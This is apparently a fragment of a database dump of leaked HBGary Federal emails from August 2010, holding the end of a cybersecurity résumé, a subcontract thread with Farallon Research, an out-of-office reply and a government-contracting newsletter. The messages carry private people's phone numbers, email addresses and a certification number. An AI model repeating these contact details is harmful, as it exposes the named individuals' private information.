MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.',6881,'aaron_hbgary_com/6881.html'),(10611,'2010-08-19','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297008212.M872061P14101Q5466.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: ESOC','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: ESOC\r\n\r\n\r\n\r\n\r\nI will be out of the office from Aug 13-31 with limited e-mail access.&nbsp; Please contact Henri van Goethem at Henri.vanGoethem@mantech.com 703-608-0805 if you need anything.&nbsp; If you need to reach me please contact Greta Trayfors, (703) 388-2123\r\n\r\n\r\n',301,'aaron_hbgary_com/301.html'),(10612,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008213.M123332P14101Q5467.eml','\"Ted Vera\" <ted@hbgary.com>','contact','shane@shook.net',2689,'aaron_hbgary_com/2689.html'),(10613,'2010-08-19','\"Ray Owen\" <ray.owen@farallon-research.com>','/aaron@hbgary.com/new/1297008213.M418586P14101Q5468.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Call','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\nGov\'t is working the MIPR. No issues so far. We just took a break to\r\nget our current reports updated. Will work on subcontract next week.\r\nThanks! Ray\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 8/19/2010 7:37 AM, Aaron Barr wrote:\r\nHi Ray,\r\n  \r\n  \r\n  Any further information on this effort?\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Aug 7, 2010, at 9:51 PM, Ray Owen wrote:\r\n  \r\n  \r\n    Aaron,\r\n    \r\nWe will send out a formal request tomorrow morning, with instructions.\r\n    \r\nWe\'re not completely sure on the start date, because we have to get the\r\nfunding flow going first. Maybe as early as 1 Sept, but probably late\r\nthat month. We will subcontract as soon as we have a valid Farallon\r\ncontract, which should be later this month.\r\n    \r\nThanks,\r\nRay\r\n    \r\n    \r\n    \r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n    \r\n    \r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n    \r\n    Ray Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n    \r\n    \r\n    \r\nOn 8/7/2010 10:02 AM, Aaron Barr wrote:\r\n    \r\n      Nate,\r\n\r\nBased on note below we might not need a call.  We are excited about the work and commit to the work and scope as outlined.  Just a few questions.\r\n\r\n1. How would you like us to formally commit.\r\n2. What is the anticipated start date and when could we expect a subcontract agreement.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 7, 2010, at 12:46 PM, Nathan Atherley wrote:\r\n\r\n  \r\n      \r\n        Yes, can we do it later?  I am going to be gone until about 3-4 PST.  You can give me a call, though I doubt I will tell you much more than I am going to now.\r\n\r\nWe would just like you to commit to the work scope for HBGary\'s piece of CID-1.  We need to commit Farallon for CID-1 soon and would like to make sure that we are all on the same page onto what is required.\r\n\r\nRay is diving today, but probably can be reached later today at 650-464-5570.  My number is 719-321-6135\r\n\r\nNathan\r\n\r\n\r\n\r\nOn 8/7/2010 9:25 AM, aaron@hbgary.com wrote:\r\n    \r\n        \r\n          Nate,\r\n\r\nCan we set up a call today to discuss exactly what we need to produce by monday.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n      \r\n        \r\n      \r\n      Aaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',8723,'aaron_hbgary_com/8723.html'),(10614,'2010-08-19','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297008213.M728705P14101Q5469.eml','aaron@hbgary.com','Karzai Tells Security Contractors to Take a Hike','&nbsp; \r\n\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon Executive&nbsp; | GovConExec\r\n Magazine\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nBy Jim\r\n GarrettsonAugust 19,\r\n 2010Karzai\r\n Tells Security Contractors to Take a HikeAfghan President Hamad Karzai has issued a\r\n stern decree to private security contractors, demanding that the firms cease\r\n operations in the country within four months. Click here to read more\r\nWhat James Clapper\'s Confirmation Means to Government\r\n ContractingLast week, we reported that retired Air\r\n Force Lieutenant General James Clapper was unanimously confirmed by the Senate as\r\n America\'s new Director of National Intelligence.&nbsp; The question is: what does\r\n his confirmation mean to the government contracting community? Click here to read\r\n moreChina\'s\r\n Efforts in Military Transparency Insufficient, Says\r\n ReportAlthough China has made some progress in\r\n military transparency, its effort are inadequate, and the nation\'s decision to\r\n suspend military-to-military contacts with the United States is acting against the\r\n interests of both countries, according to an annual report submitted to Congress.\r\n Click here to read\r\n more\r\nCGI\'s Acquisition of Stanley\r\n Finalized\r\n CGI\r\n reports they have completed a planned acquisition of Stanley \r\nAssociates (NYSE: SXE) for a price tag of just under $1\r\n billion. Click\r\n here to read more \r\nFAA Networks Remain Vulnerable to Cyber\r\n AttacksThe networks of the Federal Aviation Administration are\r\n still vulnerable\r\n to cyber attacks even though a number of radar facilities have been \r\nimproved, according to a new government study.\r\n Click\r\n here to read more \r\n\r\n\r\n\r\n\r\n\r\n\r\nExecutive\r\n Spotlight: Gil&nbsp;Guarino of CACISRA CFO Rick Nadeau Comments on Financial\r\n Progress&nbsp;&nbsp;Federal Agencies Awarded for Promoting Open\r\n GovernmentFBI Names Thomas J. Harrington Associate\r\n Deputy\r\n Director\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp; \r\nGeneral Dynamics, SAIC Pick Up DoD\r\n Contracts\r\nITT, Lockheed\r\n Martin Book Navy Wins\r\nNorthrop\r\n Grumman Picks Christopher Jones to Lead ILMD\r\nCSC Presents\r\n Financial Stats\r\nBooz Allen\r\n Books Pair of Air Force Wins\r\nArmy Hands Down\r\n Big Deals for Lockheed, ITT, L-3Click Here for More\r\n GovConwireUS CERT: Malware Attacks on Feds Motivated by Money Not\r\n Terrorism\r\nManTech to Work\r\n with FBI on Cybersecurity\r\nBritish\r\n Ministry of Defense at Risk for Cyber\r\n Attack\r\nDeloitte\'s Gen.\r\n Raduege: There is an Opportunity for International Cybersecurity\r\n Cooperation\r\nHealthcare Data\r\n Breaches Higher Than FinancialClick Here for More\r\n from The New New\r\n Internet\r\n \r\n\r\n\r\nPoll Reveals\r\n Americans Fear Identity Theft Most with Internet Use\r\nGAO Launches\r\n Mobile Website\r\nParadigm\r\n Releases Financial Results; CEO Peter B. LaMontagne Comments\r\nManTech Awarded\r\n $99.5M Cybersecurity Contract\r\nHarris Taps\r\n John Heller to Head IT Services Business\r\n\r\n\r\nClick Here for More\r\n from GovCon Executive\r\n Health IT a Team Effort between Government, Industry, Says\r\n Blumenthal \r\nDARPA Releases\r\n New Privacy\r\n Principles\r\nLetitia A. Long\r\n Becomes First Woman to Lead Intelligence\r\n Agency\r\nPentagon\r\n Demands WikiLeaks Return \'Afghan War Diary,\' Other\r\n Documents\r\nFCC\r\n Seeks Public Comment on Creation of Cybersecurity\r\n Plan&nbsp;\r\n\r\nClick Here for More\r\n from ExecutiveGov\r\n \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n\r\n\r\nAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From mapping and CAD, to\r\n imagery and globes, all can be purchased at a press of a button for all your\r\n government projects. The portal features special pricing around Autodesk\'s\r\n Master Government Reseller software solutions including AutoCAD, Map 3D, Civil 3D\r\n plus many more. Google Earth and GeoEye Imagery solutions are available\r\n too.Prefer to speak to a representative directly? DLT has a team of\r\n experienced representatives to help. With over 19 years of working closely with\r\n federal, state and local governments, we can help you make the best purchasing\r\n decisions.&nbsp;For Autodesk products, call 888.447.2223 or send a\r\n message to ag@dlt.com&nbsp;For\r\n Geospatial products, call 877.385.3581 or send a message to gds@dlt.com.\r\n\r\n\r\n\r\n \r\n\r\nExecutive Spotlight: Gil&nbsp;Guarino of\r\n CACIGil Guarino is the executive vice president of the\r\n Transformation Solutions Business Group at CACI International Inc.&nbsp; He spoke\r\n with ExecutiveBiz about his military experience, emerging markets and overcoming\r\n challenges.&nbsp;Click here to read\r\n more SRA CFO Rick Nadeau Comments on\r\n Financial Progress\"We had a second consecutive quarter of strong cash\r\n flow from operations, driven by further improvement in days sales\r\n outstanding,\"&nbsp; Nadeau said. \"We are focused on maintaining this high level of\r\n performance as we enter fiscal year 2011.\"&nbsp;Click here to read\r\n more Federal Agencies Awarded for\r\n Promoting Open GovernmentFederal Chief Technology Officer Aneesh Chopra and Cass R. Sunstein,\r\n administrator of the Office of Information and Regulatory Affairs, last week\r\n announced the recipients of The Leading Practices Awards, recognizing agencies\r\n that achieved above and beyond the requirements of the Open Government Directive\r\n in promoting transparency in the best and most innovative way.\r\n Click here to read\r\n moreFBI Names Thomas J. Harrington\r\n Associate Deputy DirectorFBI Director Robert S. Mueller, III last week announced the\r\n appointment of Thomas J. Harrington as the bureau\'s associate deputy\r\n director. Click here to read more\r\n\r\nA Letter from the EditorThrough our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D. KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',5416,'aaron_hbgary_com/5416.html'),(10615,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008213.M953460P14101Q5470.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Call','Begin forwarded message:From: Ray Owen &lt;ray.owen@farallon-research.com&gt;Date: August 19, 2010 11:05:41 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Call\r\n\r\nGov\'t is working the MIPR. No issues so far. We just took a break to\r\nget our current reports updated. Will work on subcontract next week.\r\nThanks! Ray\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  